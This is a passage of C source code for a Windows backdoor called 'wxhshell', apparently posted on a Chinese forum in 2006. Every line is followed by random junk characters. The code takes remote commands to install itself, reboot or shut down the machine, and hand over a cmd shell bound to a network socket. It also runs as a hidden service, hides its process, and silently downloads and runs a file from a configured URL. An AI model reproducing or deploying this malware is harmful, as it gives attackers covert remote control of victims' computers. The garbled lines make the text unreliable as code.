      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  P#m/b<  
    break; 0hnTHlk  
  } He^u+N@B  
  // 安装 =X6WK7^0  
  case 'i': { ?9 hw]Q6r}  
    if(Install()) 1:%HE*r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /R7qR#  
    else }<6xZy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xo]QV.n  
    break; R{uq8NA- W  
    } 5|&8MGW-$  
  // 卸载 b37P[Q3  
  case 'r': { (,<&H;,8  
    if(Uninstall()) {-;lcOD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C50&SrnBU1  
    else lL_M=td8W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GInU7y904  
    break; teh$W<C  
    } jsL\{I^>  
  // 显示 wxhshell 所在路径 HL-zuZa`Ju  
  case 'p': { 9N5ptdP.d  
    char svExeFile[MAX_PATH]; d:jD  
    strcpy(svExeFile,"\n\r");  yG -1g0  
      strcat(svExeFile,ExeFile); eq +t%  
        send(wsh,svExeFile,strlen(svExeFile),0); 1~/?W^ir  
    break; {a -bew  
    } lIPy)25~  
  // 重启 D.elE:  
  case 'b': { `vs= CYs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Blv!%es  
    if(Boot(REBOOT)) Z |wM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SJ$N]<d  
    else { _X5@%/Vz  
    closesocket(wsh); 9fp@d  
    ExitThread(0); 2]W"sT[  
    } a-w=LpVM  
    break; Ba==Ri8$  
    }  Gh;Ju[6  
  // 关机 C;7?TZ&xw  
  case 'd': { s6Ox!)&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )QS4Z{)U  
    if(Boot(SHUTDOWN)) uJ ;7]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1d)wE4c=Z  
    else { wO:!B\e  
    closesocket(wsh); f@U\2r  
    ExitThread(0); 5A(zQ'6  
    } ]l\'1-/  
    break; # LRN@?P  
    } ~xI1@^ r  
  // 获取shell F)P"UQ!\  
  case 's': { _cra_(b  
    CmdShell(wsh); cm^:3(yYX  
    closesocket(wsh); |^&n\vXv  
    ExitThread(0); QH%Zbt2qS  
    break; .Y B}w  
  } zs#s"e:jeR  
  // 退出 $50rj  
  case 'x': { lR] z8 &  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g%()8QxE1  
    CloseIt(wsh); WmU5YZ(mAq  
    break; 01v7_*'R  
    } IHqY/j  
  // 离开 o!.\+[  
  case 'q': { 0ox 8_l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N[e QT  
    closesocket(wsh); jIY    
    WSACleanup(); e.pm`%5bO  
    exit(1); :|hFpLt  
    break; d&S4`\g?8  
        } K:PzR,nn  
  } 3#fu; ??1.  
  } [Xp{z tGE  
_isqk~ ul  
  // 提示信息 TMt,\gTd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =gI;%M\'  
} 8`bQ,E+2  
  } |$[WnYP  
Q `$Q(/  
  return; $@m)8T  
} ;8WgbR)ZLU  
qyXx`'e  
// shell模块句柄 !'uLV#YEZ  
int CmdShell(SOCKET sock) >r Nff!Ow  
{ Y|ONCc  
STARTUPINFO si; diXb8L7B;  
ZeroMemory(&si,sizeof(si)); Wtl0qug  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mNcoR^(VN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?Y6MC:l<  
PROCESS_INFORMATION ProcessInfo; om3$=  
char cmdline[]="cmd"; -rE_pV;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); } sTo,F$  
  return 0; u<8 f ;C_  
} <^:e)W  
g=eYl_P6  
// 自身启动模式 NOOP_:(7H  
int StartFromService(void) :,.g_@wvG  
{ M6n9>aW4  
typedef struct KP)BD;  
{ iUuG}rqj  
  DWORD ExitStatus; |||uTfrJ  
  DWORD PebBaseAddress; xEK+NKTeV  
  DWORD AffinityMask;  & t b  
  DWORD BasePriority; tCnx:1  
  ULONG UniqueProcessId; 99XbpP55  
  ULONG InheritedFromUniqueProcessId; a }6Fj&hj  
}   PROCESS_BASIC_INFORMATION; KM$5ZbCF:  
?VM#Nf\  
PROCNTQSIP NtQueryInformationProcess; Dd+ f,$  
%(4G[R[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~$g$31/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }gw `,i  
8J|pj4ce  
  HANDLE             hProcess; CbK&.a  
  PROCESS_BASIC_INFORMATION pbi; _=0;5OrK1X  
GH%'YY3|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (W~jr-O^  
  if(NULL == hInst ) return 0; W#cr9"'Ta  
`Pj7O/!)#!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p%304oP6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S312h'K j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,#^<0u+zrF  
N*t91 X  
  if (!NtQueryInformationProcess) return 0; r4Ygy/%  
75Xi%mlE7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uA;3R\6?  
  if(!hProcess) return 0; wK 8/`{B9  
/>fP )56*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'BT}'qN  
T-7'#uB.m  
  CloseHandle(hProcess); 3Rid 1;L0U  
OHnHSb'?\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $cO"1mu  
if(hProcess==NULL) return 0; &fBLPF%6  
%gd=d0vm  
HMODULE hMod; 5,:tjn  
char procName[255]; s:Us*i=H,  
unsigned long cbNeeded; yjvH)t/!.  
Hfer\+RX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^G63GYh]y  
.%+`e  
  CloseHandle(hProcess); xG<H${ k;  
:"ZH  
if(strstr(procName,"services")) return 1; // 以服务启动 TQ&%SMCn  
iKB8V<[\T  
  return 0; // 注册表启动 +Q, 0kv  
} LV:oNK(  
IY|;}mIF  
// 主模块 W5-p0,?[6  
int StartWxhshell(LPSTR lpCmdLine) GE$spx  
{ R7us9qM4e  
  SOCKET wsl; mwFI89J'  
BOOL val=TRUE; _>HX Q6Hw  
  int port=0; ZTG*|  
  struct sockaddr_in door; ?uUK9*N  
:W5*fE(i  
  if(wscfg.ws_autoins) Install(); kr7f<;rmJ  
= PldXw0  
port=atoi(lpCmdLine); AqVTHyCu  
[|UW_Bz  
if(port<=0) port=wscfg.ws_port; iV#JJ-OBq  
*IzcW6 [9  
  WSADATA data; ^SCZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `>RJ*_aKEI  
<\x/Y$jm0n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cHK)e2 r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >HnD'y*  
  door.sin_family = AF_INET; '#<?QE!d2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x]%e_  
  door.sin_port = htons(port); 84P^7[YX>  
h$ M+Yo+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k ]x64hgm  
closesocket(wsl); ~BCSm]j  
return 1; ]+[ NX)=  
} P ]2M  
1?HUXN#,  
  if(listen(wsl,2) == INVALID_SOCKET) { eif<aG5  
closesocket(wsl); } oJ+2OepN  
return 1; wP1dPl_j:0  
} ~fsAPIQ  
  Wxhshell(wsl); 0 TSj]{[  
  WSACleanup(); xc R  
s)yEVh  
return 0; zsI0Q47\  
T4T_32`XR  
} '9GHmtdO,  
kgK7 T  
// 以NT服务方式启动 }jTEgog  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Js qze'BGY  
{ )8&Q.? T  
DWORD   status = 0; EA75 D&>I  
  DWORD   specificError = 0xfffffff; _6qf>=qQ`"  
BW:&AP@B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [7]p\' j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |LKhT4rE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .CI]8O"3y  
  serviceStatus.dwWin32ExitCode     = 0; ~=%eOoZP;c  
  serviceStatus.dwServiceSpecificExitCode = 0; uW4G!Kw28  
  serviceStatus.dwCheckPoint       = 0; D>c%5h  
  serviceStatus.dwWaitHint       = 0; =(*Eh=Pw  
1*?IDYB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {#q<0l  
  if (hServiceStatusHandle==0) return; .D^k0V  
2U>1-p&dn  
status = GetLastError(); iUA2/ A  
  if (status!=NO_ERROR) >;o^qi_$  
{ *P:`{ZV7=W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [x!T<jJ  
    serviceStatus.dwCheckPoint       = 0; UuT>qWxQ8  
    serviceStatus.dwWaitHint       = 0; .EH^1.|v  
    serviceStatus.dwWin32ExitCode     = status; {^9,Dy_D  
    serviceStatus.dwServiceSpecificExitCode = specificError; PK3)M'[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ci5ERv`  
    return; Rjo6Pd{d<  
  } Du$kDCU  
\ ;Hj,z\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >?M:oUVDU  
  serviceStatus.dwCheckPoint       = 0; #x#.@  
  serviceStatus.dwWaitHint       = 0; $a\q<fN}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N&S :=x:$S  
} 3w {4G<I  
0Qw?.#[9  
// 处理NT服务事件,比如:启动、停止 =DE5 Wq19  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ym& _IOx  
{ @Qruc\_  
switch(fdwControl) @)VJ,Ql$Y  
{ N3vk<sr@  
case SERVICE_CONTROL_STOP: CJjma=XH  
  serviceStatus.dwWin32ExitCode = 0; / c/!13|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MnKEZ: 2  
  serviceStatus.dwCheckPoint   = 0; jY>KF'y  
  serviceStatus.dwWaitHint     = 0; 8<)[+ @$0  
  { k4pvp5}%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H) q9.Jg  
  } ZH_ J+  
  return; ]lQhIf6)k  
case SERVICE_CONTROL_PAUSE: zfi{SO l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M0c"wi@S_  
  break; 5/:Zj,41{  
case SERVICE_CONTROL_CONTINUE: ICq;jfML  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !Si ZA"  
  break; ]t0?,q.$7  
case SERVICE_CONTROL_INTERROGATE: }M'\s  
  break; 9jaYmY]~  
}; s26s:A3rh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iv#9{T  
} /J{P8=x}_:  
uHz D  
// 标准应用程序主函数 X /5tZ@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) , X$S4>  
{ yKZ~ ^  
X,O&X  
// 获取操作系统版本 R(pvUm& L  
OsIsNt=GetOsVer(); ]}>GUXe)^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3p!R4f)GN  
_3A$z A  
  // 从命令行安装 #: ' P3)&  
  if(strpbrk(lpCmdLine,"iI")) Install(); %PlPXoG=  
.h~)|" uzW  
  // 下载执行文件 %<1fj#X8  
if(wscfg.ws_downexe) { aM?7'8/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @!%<JZEz3  
  WinExec(wscfg.ws_filenam,SW_HIDE); e yTYg  
} Gjy'30IF  
Duptles  
if(!OsIsNt) { N@Slc 0  
// 如果时win9x,隐藏进程并且设置为注册表启动 %l: %c  
HideProc(); v~uwQ&AH  
StartWxhshell(lpCmdLine); JEJ] '3  
} !S(jT?'w  
else Bu!Gy8\  
  if(StartFromService()) /8W}o/,s5  
  // 以服务方式启动 dP)8T  
  StartServiceCtrlDispatcher(DispatchTable); pVbX#3  
else h3@mN\=h'  
  // 普通方式启动 n=rPFp RLF  
  StartWxhshell(lpCmdLine); *%Gy-5hM  
fM S-  
return 0; 0pkU1t~9  
}
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只看该作者 1 发表于: 2006-10-10
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